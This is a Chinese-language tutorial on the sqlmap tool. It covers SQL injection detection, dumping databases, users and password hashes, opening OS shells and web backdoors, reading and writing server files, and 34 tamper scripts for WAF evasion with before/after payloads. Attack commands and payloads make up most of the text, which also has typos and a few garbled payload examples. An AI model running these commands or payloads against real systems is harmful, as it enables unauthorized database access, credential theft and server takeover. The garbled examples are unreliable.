sqlmap工具使用
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
判断是否存在注入
1 | sqlmap.py -u http://example.com/sqli/?id=1 |
判断文本中的请求是否存在注入
sqlmao可以从一个文本文件中获取http请求,这样就不用设置其他参数(cookie,post,renfer等),txt文件内容为web数据包,所以需要和bp联动
1 | sqlmap.py -r 1.txt |
查询当前用户下的所有数据库
1 | #加上--dbs |
获取数据库表名
1 | #继续注入时,dbs缩写成D,后边加库的名称 |
获取表中字段名
1 | #继续注入时,tables缩写成T,后边加表的名称 |
获取字段内容
1 | #继续注入时,columns缩写成C,后边加字段的名称 |
获取数据库所有用户
1 | sqlmap.py -u "http://example.com/sqli/?id=1" --users |
获取数据库用户密码
1 | sqlmap.py -u "http://example.com/sqli/?id=1" --passwords |
获取当前数据库名称
1 | sqlmap.py -u "http://example.com/sqli/?id=1" --current-db |
获取当前网站数据库用户名称
1 | sqlmap.py -u "http://example.com/sqli/?id=1" --current-user |
更多参数详解
–lever 5:探测等级
sqlmap一共五个等级,也可以不加,默认是1,sqlmap的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中五级包含的payload最多,会自动破解cookie,XFF等头部注入,当然随着等级的提高速度也会变慢,(具体参考相关路径payload或者官方文档)
–is-dba:当前用户是否为管理员权限
1 | #返回结果为true或false |
–roles:列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-u参数指定想看那个用户的角色吗,(该命令只适用于数据库时Oracle时)
–referer
可以伪造http中的referer,当level参数设定为3或3以上时,会尝试对referer注入。也可以尝试referer欺骗,如–referer http://www.baidu.com
–sql-shell:运行自定义SQL语句
1 | sqlmap.py -u "http://example.com/sqli/?id=1" --sql-shell |
进入sql-shell面板,在面板中输入想要使用的查询语句
–os-cmd,–os-shell:运行任意操作系统命令
–os-cmd
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且有用户权限使用特定函数时,可以使用参数“–os-cmd”执行系统命令。
如果数据库为MySQL或PostgreSQL,则SQLLmap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数可以执行系统命令。
如果数据库为Microsoft SQL Server,则sqlmap会使用xp_cmdshell存储过程执行系统命令,如果
xp_cmdshell被禁用(Microsoft SQL Server 2005版本以上默认被禁用),则sqlmap会重新启用它;如果xp_cmdshell不存在,则sqlmap会创建它。
–os-shell
使用参数“–os-shell”可以模拟一个真实的shell,与服务器进行交互,当不能执行多语句时(如php或asp的后端数据库为MySQL),sqlmap可以通过select语句中的into outfile在web服务器的可写目录中船舰web后门,从而执行命令。参数“–os-shell”支持asp,aspnet,jsp和php四种语言。
1 | --os-shell的执行条件有三个: |
–file-read:从数据库服务器中读取执行文件
该命令用于从该服务器中读取可执行文件,当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定函数时,读取的文件可以是文本,也可以是二进制文件。
命令示例
1 | python sqlmap.py -u http://example.com/?id=1 --file-read "/etc/password" -v 1 |
1 | -v 0:静默模式,只输出关键信息和警告。这是最少输出的模式,适合在生产环境或需要最小干扰的情况下使用。 |
–file-write和–file-dest:将本地文件写入数据库服务器
用于将本地文件写入数据库服务器,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且有用户权限使用特定函数时,上传文件可以是文本也可以是二进制文件。
命令示例
1 | python sqlmap.py -u http://example.com/?id=1 --file-write "1.txt" --file-dest "/tmp/1.txt" -v 1 |
sqlmap自带tamper绕过脚本讲解
为了防止诸如语句中出现单引号,sqlmap默认情况下会使用CHAR()函数。可以使用参数“–tamper”对数据作修改来绕过waf等设备,其中大部分脚本主要使用正则模块替换payload字符编码的方式尝试绕过waf的检测规则,命令示例
1 | python sqlmap.py xxxx --tamper "模块名" |
日常使用我们会对一些网站是否有安全防护进行试探,使用参数”–identify-waf”进行检测
常用tamper绕过脚本
(1)apostrophemask.py
作用:将引号替换为UTF-8格式,用于过滤单引号
使用脚本前语句如下
1 | 1 AND '1'='1 |
使用脚本后的语句如下
1 | 1 AND %EF%BC%871%EF%BC%87=%EF+BC%871 #这是全角单引号的UTF-8编码 |
(2)base64encode.py
作用:将请求参数进行base64位编码
使用脚本前语句如下
1 | 1' and SLEEP(5)# |
使用脚本后的语句如下
1 | MScgYW5kIFNMRUVQKDUpIw== |
(3)multiplespaces.py
作用:在SQL语句的关键字中间添加多个空格
使用脚本前语句如下
1 | 1 UNION SELECT foobar |
使用脚本后语句如下
1 | 1 UNION SELECT foobar |
(4)space2plus.py
作用:用加号(+)替换空格
使用脚本前语句如下
1 | SELECT id FROM users |
使用脚本后语句如下
1 | SELECT+id+FROM+users |
(5)nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替换预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将”select”替换为空)
使用脚本前语句如下
1 | 1 UNION SELECT 2-- |
使用脚本后语句如下
1 | 1 UNIOUNIONN SELESELECTCT 2-- |
(6)space2randomblank.py
作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D
使用脚本前的语句如下
1 | SELECT id FROM users |
使用脚本后的语句如下
1 | SELECT%0Did%0DFROM%0Dusers |
(7)unionalltounion.py
作用:将”UNION ALL AELECT”替换为”UNION SELECT”
使用脚本前的语句如下
1 | -1 UNION ALL AELECT |
使用脚本后的语句如下
1 | -1 UNION SELECT |
(8)securesphere.py
作用:追加特制的字符串
使用脚本前语句如下
1 | 1 AND 1=1 |
使用脚本后语句如下
1 | 1 AND 1=1 and '0having'='0having' |
(9)space2hash.py
作用:将空格替换为井字号(#),并添加一个随机字符串和换行符
使用脚本前的语句如下
1 | 1 AND 9227=9227 |
使用脚本后的语句如下
1 | 1%23nVNaVoPYeva%023ngNvzqu%0A9227=9227 |
(10)space2mssqlblank.py
作用:将空格替换为其他空符号
使用脚本前的语句如下
1 | SELECT id FROM users |
使用脚本后的语句如下
1 | SELECT%0Eid%0DFROM%07users |
(11)space2mssqlhash.py
作用:将空格替换为井字号(#),并添加换行符
使用脚本前的语句如下
1 | 1 AND 9227=9227 |
使用脚本后的语句如下
1 | 1%23%0AAnd%23%0A9227=9227 |
(12)between.py
作用:用“NOT VETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)
使用脚本前的语句如下
1 | 1 AND A > B-- |
使用脚本后的语句如下
1 | 1 ADN A NOT BETWEEN 0 AND B-- |
(13)percentage.py
作用:ASP语言允许在每个字符前加上一个百分号(%)
使用脚本前的语句如下
1 | SELECT FIELD FROM TABLE |
使用脚本后的语句如下
1 | %S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E |
(14)sp_password.py
作用:将sp_password.py追加到Payload末尾
使用脚本前的语句如下
1 | 1 AND 9227=9227-- |
使用脚本后的语句如下
1 | 1 AND 9227=9227-- sp_password.py |
(15)charencode.py
作用:对给定Payload全部字符使用URL编码(不处理已经编码的字符)
使用脚本前语句如下
1 | SELECT FIELD FROM%20TABLE |
使用脚本后语句如下
1 | %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
(16)randomcase.py
作用:在sql语句中,对关键字进行随机大小写转换
使用脚本前语句如下
1 | INSERT |
使用脚本后语句如下
1 | InsERt |
(17)charunicodeencode.py
作用:对sql语句进行字符串unicode编码
使用脚本前的语句如下
1 | SELECT FIELD%20FROM TABLE |
使用脚本后的语句如下
1 | \u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0046\u0049\u0045\u004c\u0044\u0025\u0032\u0030\u0046\u0052\u004f\u004d\u0020\u0054\u0041\u0042\u004c\u0045 |
(18)space2comment.py
作用:将空格替换为“/**/”
使用脚本前的语句如下
1 | SELECT id FROM users |
使用脚本后的语句如下
1 | SELECT/**/ID/**/FROM/**/users |
(19)equaltolike.py
作用:将等号(=)替换为“like”
使用脚本前的语句如下
1 | SELECT * FROM users WHERE id=1 |
使用脚本后的语句如下
1 | SELECT * FROM users WHERE id Like 1 |
(20)greatest.py
作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号
使用脚本前的语句如下
1 | 1 AND A > B |
使用脚本后的语句如下
1 | 1 AND GREATEST(A,B+1)=A |
1 | #测试通过的数据库类型和版本如下 |
(21)ifnull2ifisnull.py
作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A),B,A)”
使用脚本前语句如下
1 | IFNULL(1,2) |
使用脚本后语句如下
1 | IF(ISNULL(1),2,1) |
(22)modsecurityversioned.py
作用:过滤空格,通过mysql内联注释的方式进行注入
使用脚本前的语句如下
1 | 1 AND 2>1-- |
使用脚本后的语句如下
1 | 1 /*!30874AND 2>1*/-- |
该脚本可在mysql5.0数据库中使用
(23)space2mysqlblank.py
作用:将空格替换为其他空白符号
使用脚本前的语句如下
1 | SELECT id FROM users |
使用脚本后的语句如下
1 | SELECT%A0id%0BFROM%0Cusers |
该脚本可以在Mysql5.1数据库中使用
(24)modsecurityzeroversioned.py
作用:使用MySQL内联注释的方法进行注入
使用脚本前的语句如下
1 | 1 AND 2>1-- |
使用脚本后的语句如下
1 | 1 /*!00000AND 2>1*/-- |
该脚本可以在MySQL5.0数据库中使用
(25)space2mysqldash.py
作用:将空格替换为“–”,并添加一个换行符
使用脚本前语句
1 | 1 AND 9227=9227 |
使用脚本后语句
1 | --%0AAND--%0A9227=9227 |
(26)bluecoat.py
作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号
使用脚本前的语句如下
1 | SELECT id FROM users where id = 1 |
使用脚本后的语句如下
1 | SELECT%09id FROM%09users where%09id LIKE 1 |
该脚本可以在MySQL5.1和SGOS数据库中使用
(27)versionedkeywords.py
作用绕过注释
使用脚本前的语句如下
1 | UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))# |
使用脚本后的语句如下
1 | /*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CH/**/AR(58,100,114,117,58))# |
(28)halfvesionedmorekeyword.py
作用:当数据库为mysql时,绕过防火墙,在每个关键字前添加MySQL版本注释
使用脚本前的语句如下
1 | value' UNION ALL SELECT CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDWa'='QDWa |
使用脚本后的语句如下
1 | value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,104,116,116,58),/*!0IFNULL(CAST(CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa |
该脚本可在MySQL4.018和MySQL5.022数据库中使用
(29)space2morehash.py
作用:将空格替换为井字号,并添加一个随机字符串和换行符
使用脚本前语句
1 | 1 AND 9227=9227 |
使用脚本后语句
1 | 1%23ngNvzqu%0Aand%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227 |
该脚本可在MySQL5.1.41数据库中使用
(30)apostrophenullencode.py
作用:用非法双字节unicode字符替换单引号
使用脚本前的语句如下
1 | 1 AND '1'='1 |
使用脚本后的语句如下
1 | 1 AND %00%271%00%27=%00%271 |
(31)appendnullbyte.py
作用:在有效符合的结束位置加载零字节字符编码
使用脚本前语句如下
1 | 1 AND 1=1 |
使用脚本后语句如下
1 | 1 AND 1=1%00 |
(32)chardoubleencode.py
作用:对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
使用脚本前的语句如下
1 | SELECT FIELD FROM%20TABLE |
使用脚本后的语句如下
1 | %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
(33)unmagicquotes.py
作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
使用脚本前语句如下
1 | 1’ AND 1=1 |
使用脚本后语句如下
1 | 1%bf%27-- |
(34)randomcomments.py
作用:用“/**/”分割SQL关键字
使用脚本前语句如下
1 | INSERT |
使用脚本后语句如下
1 | IN/**/S/**/ERT |